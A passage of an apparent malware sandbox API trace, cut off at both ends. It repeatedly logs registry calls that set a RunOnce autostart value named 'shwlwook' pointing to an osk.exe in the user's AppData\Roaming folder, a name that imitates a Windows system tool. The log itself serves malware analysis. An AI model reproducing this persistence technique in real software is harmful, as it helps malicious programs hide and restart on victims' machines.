dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0274.854] RegCloseKey (hKey=0x14c) returned 0x0 [0274.854] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0274.856] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0275.725] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95f1e0 | out: lpPoint=0x95f1e0) returned 1 [0275.758] GetMessageTime () returned 278984 [0275.759] GetMessagePos () returned 0xc30578 [0275.759] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95f268 | out: lpPoint=0x95f268) returned 1 [0275.806] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x100, wParam=0x5b, lParam=0x15b0001, plResult=0x95f284 | out: plResult=0x95f284) returned 0x1 [0275.806] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x100, wParam=0x5b, lParam=0x15b0001) returned 0x0 [0275.808] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95f1e0 | out: lpPoint=0x95f1e0) returned 1 [0275.808] GetMessageTime () returned 278984 [0275.808] GetMessagePos () returned 0xc30578 [0275.808] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x101, wParam=0x44, lParam=0x80200001, plResult=0x95f284 | out: plResult=0x95f284) returned 0x1 [0275.808] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x101, wParam=0x44, lParam=0x80200001) returned 0x0 [0275.809] GetCurrentThreadId () returned 0xe38 [0275.809] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0275.809] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95f1e0 | out: lpPoint=0x95f1e0) returned 1 [0275.809] GetMessageTime () returned 279000 [0275.810] GetMessagePos () returned 0xc30578 [0275.810] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x101, wParam=0x5b, lParam=0xc15b0001, plResult=0x95f284 | out: plResult=0x95f284) returned 0x1 [0275.810] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x101, wParam=0x5b, lParam=0xc15b0001) returned 0x0 [0275.810] GetCurrentThreadId () returned 0xe38 [0275.810] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0275.810] TranslateMessage (lpMsg=0x95f69c) returned 0 [0275.810] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0275.811] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0275.811] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0275.811] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0275.811] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0275.812] RegCloseKey (hKey=0x644) returned 0x0 [0275.812] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0275.812] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0275.997] TranslateMessage (lpMsg=0x95f69c) returned 0 [0275.997] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0275.997] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0275.998] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0275.998] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0275.998] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0275.998] RegCloseKey (hKey=0x644) returned 0x0 [0275.999] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0275.999] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0275.999] TranslateMessage (lpMsg=0x95f69c) returned 0 [0275.999] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0275.999] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0275.999] KillTimer (hWnd=0x60210, uIDEvent=0x1000) returned 1 [0276.009] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.010] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.010] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.010] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.010] RegCloseKey (hKey=0x644) returned 0x0 [0276.010] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.011] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.024] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.024] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.024] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.025] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.025] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.025] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.025] RegCloseKey (hKey=0x644) returned 0x0 [0276.025] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.026] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.040] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.040] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.040] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.041] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.041] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.041] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.041] RegCloseKey (hKey=0x644) returned 0x0 [0276.041] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.042] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.056] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.056] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.056] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.056] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.057] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.057] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.057] RegCloseKey (hKey=0x644) returned 0x0 [0276.057] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.057] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.071] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.071] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.071] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.072] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.072] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.072] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.072] RegCloseKey (hKey=0x644) returned 0x0 [0276.072] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.072] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.086] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.086] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.087] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.087] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.087] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.088] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.088] RegCloseKey (hKey=0x644) returned 0x0 [0276.088] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.088] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.103] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.103] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.104] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.104] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.104] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.105] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.105] RegCloseKey (hKey=0x644) returned 0x0 [0276.105] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.105] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.130] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.130] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.130] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.131] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.131] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.131] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.131] RegCloseKey (hKey=0x644) returned 0x0 [0276.131] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.132] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.133] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.133] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.134] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.134] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.134] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.134] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.134] RegCloseKey (hKey=0x644) returned 0x0 [0276.135] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.135] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.135] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.135] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.135] GetMessageW (lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0276.231] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0276.233] IsChild (hWndParent=0x60210, hWnd=0x0) returned 0 [0276.233] PostMessageW (hWnd=0x60210, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0276.233] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95ee58 | out: lpPoint=0x95ee58) returned 1 [0276.234] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95ee58 | out: lpPoint=0x95ee58) returned 1 [0276.234] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0276.234] GetCurrentThreadId () returned 0xe38 [0276.234] PostMessageW (hWnd=0x701f8, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0276.234] GetMessageTime () returned 279406 [0276.234] GetMessagePos () returned 0xc30578 [0276.234] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x95f08c | out: plResult=0x95f08c) returned 0x1 [0276.234] NtdllDefWindowProc_W (hWnd=0x60210, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0276.235] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0276.235] GetCurrentThreadId () returned 0xe38 [0276.235] GetMessageTime () returned 279406 [0276.235] GetMessagePos () returned 0xc30578 [0276.235] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (This=0xa05470, hWnd=0x60210, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x95ed44) [0276.235] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0276.236] GetMessageTime () returned 279406 [0276.236] GetMessagePos () returned 0xc30578 [0276.236] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x95e564 | out: plResult=0x95e564) returned 0x0 [0276.236] GetAncestor (hwnd=0x60210, gaFlags=0x2) returned 0x80030 [0276.236] IsIconic (hWnd=0x80030) returned 0 [0276.236] GetCurrentThreadId () returned 0xe38 [0276.236] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.236] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.236] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.237] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95f250 | out: lpPoint=0x95f250) returned 1 [0276.237] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95f258 | out: lpPoint=0x95f258) returned 1 [0276.237] IsWinEventHookInstalled (event=0x800a) returned 0 [0276.276] GetCurrentThreadId () returned 0xe38 [0276.277] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.277] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.277] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.277] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.277] RegCloseKey (hKey=0x644) returned 0x0 [0276.278] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.278] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.290] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.290] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.291] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.291] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.291] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.292] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.292] RegCloseKey (hKey=0x644) returned 0x0 [0276.292] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.292] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.357] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.357] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.357] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.358] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.358] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.358] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.358] RegCloseKey (hKey=0x644) returned 0x0 [0276.359] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.359] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.359] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.359] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.359] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0276.359] KillTimer (hWnd=0x60210, uIDEvent=0x1000) returned 1 [0276.370] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.370] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.370] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.371] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.371] RegCloseKey (hKey=0x644) returned 0x0 [0276.371] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.371] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.406] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.406] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.406] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.407] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.407] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.407] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.407] RegCloseKey (hKey=0x644) returned 0x0 [0276.408] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.408] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.423] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.423] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.423] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.424] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.424] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.424] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.425] RegCloseKey (hKey=0x644) returned 0x0 [0276.425] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.425] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.430] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.430] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.431] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.431] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, 